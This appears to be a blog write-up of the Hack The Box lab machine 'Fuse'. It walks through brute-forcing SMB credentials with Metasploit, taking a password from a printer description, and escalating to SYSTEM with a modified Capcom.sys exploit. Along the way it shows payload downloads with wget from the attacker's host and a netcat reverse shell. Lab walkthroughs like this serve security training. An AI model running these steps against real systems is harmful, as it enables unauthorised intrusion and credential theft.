Hack The Box Writeup: Fuse

Fuse was a box that felt realistic to me since printer software often is a nice way into the company. Using the content and log information on the Papercut website to make a custom wordlist and grab root by exploiting the CAPCOM vulnerability.

Hack The Box fuse Infocard

[0x1] Reconnaissance & Enumeration

First, we start with a Nmap scan to gain some insights into the active ports and services. There are a lot of open ports, which is not uncommon for a Microsoft Windows box.

nmap -sV -sC -p- -oA fuse-allports fuse.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-18 13:04 BST
Nmap scan report for fuse.htb (10.10.10.193)
Host is up (0.019s latency).
rDNS record for 10.10.10.193: fuse
Not shown: 65515 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-07-18 12:23:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=7/18%Time=5F12E5A8%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h37m59s, deviation: 4h02m32s, median: 17m57s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Fuse
| NetBIOS computer name: FUSE\x00
| Domain name: fabricorp.local
| Forest name: fabricorp.local
| FQDN: Fuse.fabricorp.local
|_ System time: 2020-07-18T05:26:14-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-07-18T12:26:10
|_ start_date: 2020-07-18T12:20:07

Checking port 80 offered a website that could not be loaded. The hostname did look interesting but cannot be resolved.

As there a no other machines for this lab, my guess is that it can be fixed with an extra addition to the host file.

nano /etc/hosts 
10.10.10.193 fuse fuse.htb fuse.fabricorp.local

And it worked. I now have a working website for Papercut, the Print logger software used by this box.

After doing some extensive enumeration to find more information for my foothold, I stumbled upon the printer logs. They include usernames and other information like document names and more. After a nudge from a fellow hacker, I created a user list manually and automated the and custom wordlist from the content on the website.

Using the cewl command I created the custom wordlist from the url.

cewl -d 5 -m 4 http://fuse.fabricorp.local/papercut/logs/html -w custom_wordlist_fuse.txt --with-numbers

[0x2] Initial Foothold

Since I had the feeling I should now have enough to start and see if I could get the initial foothold it was time to fire up Metasploit. I like the SMB Login scanner in Metasploit to see if one of their users has a password that is in my custom wordlist.

 _ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
      |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\


       =[ metasploit v5.0.94-dev ]
+ -- --=[ 2034 exploits - 1103 auxiliary - 344 post ]
+ -- --=[ 566 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: View missing module options with show missing

[*] Starting persistent handler(s)...


msf5 auxiliary(scanner/smb/smb_login) > show options

Module options (auxiliary/scanner/smb/smb_login):

   Name Current Setting Required Description
   ---- --------------- -------- -----------
   ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
   BLANK_PASSWORDS false no Try blank passwords for all users
   BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS false no Try each user/password couple stored in the current database
   DB_ALL_PASS false no Add all passwords in the current database to the list
   DB_ALL_USERS false no Add all users in the current database to the list
   DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
   DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
   PASS_FILE /home/user/Documents/boxes/fuse/custom_wordlist_fuse.txt no File containing passwords, one per line
   PRESERVE_DOMAINS true no Respect a username that contains a domain name.
   Proxies no A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST false no Record guest-privileged random logins to the database
   RHOSTS 10.10.10.193 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT 445 yes The SMB service port (TCP)
   SMBDomain . no The Windows domain to use for authentication
   SMBPass no The password for the specified username
   SMBUser no The username to authenticate as
   STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
   THREADS 1 yes The number of concurrent threads (max one per host)
   USERPASS_FILE no File containing users and passwords separated by space, one pair per line
   USER_AS_PASS false no Try the username as the password for all users
   USER_FILE /home/user/Documents/boxes/fuse/users.txt no File containing usernames, one per line
   VERBOSE true yes Whether to print output for all attempts

msf5 auxiliary(scanner/smb/smb_login) > run

With all the options configured, I run the SMB Login with the username list and the custom wordlist.

[-] 10.10.10.193:445 - 10.10.10.193:445 - Failed: '.\tlavel:mountain',
[-] 10.10.10.193:445 - 10.10.10.193:445 - Failed: '.\tlavel:tape',
[-] 10.10.10.193:445 - 10.10.10.193:445 - Failed: '.\tlavel:request',
[+] 10.10.10.193:445 - 10.10.10.193:445 - Success: '.\tlavel:Fabricorp01'
[-] 10.10.10.193:445 - 10.10.10.193:445 - Failed: '.\bhult:request',
[+] 10.10.10.193:445 - 10.10.10.193:445 - Success: '.\bhult:Fabricorp01'
[-] 10.10.10.193:445 - 10.10.10.193:445 - Failed: '.\sthompson:Print',
[-] 10.10.10.193:445 - 10.10.10.193:445 - Failed: '.\sthompson:2020',

So I have some credentials to try since they are valid for SMB login. I tried to login direct using SMBclient, but I encountered a new phenomenon. The password needs to be changed. Nice!

smbclient -L fuse.htb -U tlavel
Enter WORKGROUP\tlavel's password:
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE

smbclient -L fuse.htb -U bhult
Enter WORKGROUP\bhult's password:
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE

I found out that using smbpasswd you can change your password. So let’s try and change the password of ‘tlavel’ to something else.

smbpasswd -r fuse.htb -U tlavel 
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on fuse.htb.

With the changed password, I rechecked the smbclient login to see if it gives any valid response. I got a nice directory listing, so the credentials work. After a while, the password is reset again and I needed to repeat the process.

smbclient -L fuse.htb -U tlavel
Enter WORKGROUP\tlavel's password:

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 C$ Disk Default share
 HP-MFT01 Printer HP-MFT01
 IPC$ IPC Remote IPC
 NETLOGON Disk Logon server share
 print$ Disk Printer Drivers
 SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available

After a while, I tried to run rpcclient to see if that gave me some more information for further steps into getting the root flag. It gave me some extra usernames which were not in my username file yet.

rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] 
user:[krbtgt] rid:[0x1f6] 
user:[DefaultAccount] rid:[0x1f7] 
user:[svc-print] rid:[0x450] 
user:[bnielson] rid:[0x451] 
user:[sthompson] rid:[0x641] 
user:[tlavel] rid:[0x642] 
user:[pmerton] rid:[0x643] 
user:[svc-scan] rid:[0x645] 
user:[bhult] rid:[0x1bbd] 
user:[dandrews] rid:[0x1bbe] 
user:[mberbatov] rid:[0x1db1] 
user:[astein] rid:[0x1db2] 
user:[dmuir] rid:[0x1db3] rpcclient $>

Since this box is all about printing, it sounds logical to check for any printers on the box. The enumerateprinters command within rpcclient shows one printer, but it also gives a scan2docs password named: $fab@s3Rv1ce$1)

rpcclient $> enumprinters flags:[0x800000] name:[\\10.10.10.193\HP-MFT01] description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)] comment:[] rpcclient $>

Maybe the newfound password is also present on one of the accounts I have gathered in my username file. To check this easily, I use the WinRM login within Metasploit. It works out and I have a new working set of credentials for svc-print.

msf5 auxiliary(scanner/winrm/winrm_login) > set PASSWORD '$fab@s3Rv1ce$1'                                                                
PASSWORD => $fab@s3Rv1ce$1                                                                    
msf5 auxiliary(scanner/winrm/winrm_login) > set USER_FILE users                                                                                  
USER_FILE => users                                                                                            
msf5 auxiliary(scanner/winrm/winrm_login) > set RHOSTS 10.10.10.193                                                                                       
RHOSTS => 10.10.10.193                                                                                                                         
msf5 auxiliary(scanner/winrm/winrm_login) >                                                                                       
msf5 auxiliary(scanner/winrm/winrm_login) > run  
[!] No active DB -- Credential data will not be saved!
[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\DefaultAccount:$fab@s3Rv1ce$1 (Incorrect: )
[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\Administrator:$fab@s3Rv1ce$1 (Incorrect: )
[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\krbtgt:$fab@s3Rv1ce$1 (Incorrect: )
...
[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\astein:$fab@s3Rv1ce$1 (Incorrect: )
[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\dmuir:$fab@s3Rv1ce$1 (Incorrect: )
[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\svc-scan:$fab@s3Rv1ce$1 (Incorrect: )
[+] 10.10.10.193:5985 - Login Successful: WORKSTATION\svc-print:$fab@s3Rv1ce$1
[-] 10.10.10.193:5985 - LOGIN FAILED: WORKSTATION\Guest:$fab@s3Rv1ce$1 (Incorrect: )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

It is possible to login using Win-RM and get a shell as this newfound user.

evil-winrm -u svc-print -p '$fab@s3Rv1ce$1' -i fuse.htb

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-print\Documents> whoami
fabricorp\svc-print

[0x3] Path to User flag

After the inital foothold it did took long to grab the user flag. It was in the homedirectory of svc-print. Time to root!

*Evil-WinRM* PS C:\Users\svc-print\desktop> dir
    Directory: C:\Users\svc-print\desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/18/2020   5:20 AM             34 user.txt


*Evil-WinRM* PS C:\Users\svc-print\desktop> type user.txt
cac5efadf90e05b79ea755f51d095197

[0x4] Path to Root flag

Since the user has permission to log in using Win-RM, it is always good practice to see what permission the current user has on the box. In the Privileges Information, the SeLoadDriverPrivilege is Enabled, which indicates that the user has permissions to load drivers into the Operating System.

*Evil-WinRM* PS C:\Users\svc-print\desktop> whoami /all

clip...
..
...]

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeLoadDriverPrivilege         Load and unload device drivers Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

I found an exploit for abusing SeLoadPrivieleges for Privilege Escalation. It consists of loading a driver and then use a signed driver for privilege escalation. To do this, I need to download the exploit and adjust the Proof of Concept code.

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("c:\\windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;

I adjusted the code to launch nc.bat from within c:\temp\d0p4m1n3. In the batch file, I have created a Netcat connection to my own machine. After the adjustment, I compiled it to an executable. The driver can be downloaded and needs no alteration.

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("c:\\temp\\d0p4m1n3\\nc.bat");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }
 
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;

Since the files have to be downloaded from my machine, I start a Python webserver to serve them.

python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...

Using wgtet the files are transfered. Not the most flashy way, but it does the trick

wget http://10.10.14.64:8080/ExploitCapcom_d0p4m1n3.exe -o ExploitCapcom_d0p4m1n3.exe
wget http://10.10.14.64:8080/Capcom.sys -o capcom.sys
wget http://10.10.14.64:8080/nc.bat -o nc.bat
wget http://10.10.14.64:8080/nc.exe -o nc.exe
wget http://10.10.14.64:8080/EOPLOADDRIVER.exe -o EOPLOADDRIVER.exe

All the files are present in c:\temp\d0p4m1n3, including the batch file that will be started by the exploit.

ls -sla
total 1968
   0 drwxr-xr-x 1 user user     146 Jul 18 17:01 .
   0 drwxr-xr-x 1 user user      30 Jul 18 15:56 ..
  12 -rw-r--r-- 1 user user   10576 Jul 18 16:10 Capcom.sys
  16 -rw-r--r-- 1 user user   15360 Jul 18 16:10 EOPLOADDRIVER.exe
1848 -rw-r--r-- 1 user user 1890816 Jul 18 16:28 ExploitCapcom_d0p4m1n3.exe
  48 -rw-r--r-- 1 user user   45272 Sep 16  2011 nc64.exe
   4 -rw-r--r-- 1 user user      51 Jul 18 16:26 nc.bat
  40 -rw-r--r-- 1 user user   38616 Sep 16  2011 nc.exe

Start the listener so that the incoming connection from the exploit can be grabbed.

rlwrap netcat -lvnp 1337

The exploit consists of two phases. The first one load the capcom.sys driver into the machine so the second stage can proceed and exploit a signed driver.

*Evil-WinRM* PS C:\temp\d0p4m1n3> .\EOPLOADDRIVER.exe System\CurrentControlSet\MyService C:\temp\d0p4m1n3\capcom.sys
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0

Now it is time to run the compiled executable and escalate my privilege to SYSTEM.

*Evil-WinRM* PS C:\temp\d0p4m1n3> .\ExploitCapcom_d0p4m1n3.exe
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000024882730008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

The Netcat listener gets the inbound connection and provides me with a shell as SYSTEM.

listening on [any] 1337 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.10.193] 51768
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\temp\d0p4m1n3>whoami
whoami
nt authority\system

The last thing I need is that flag, well there we have it 🙂 Officially rooted!

C:\temp\d0p4m1n3>type c:\users\administrator\desktop\root.txt

e4206521bad2de4bc1fee6f034c8944f


[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.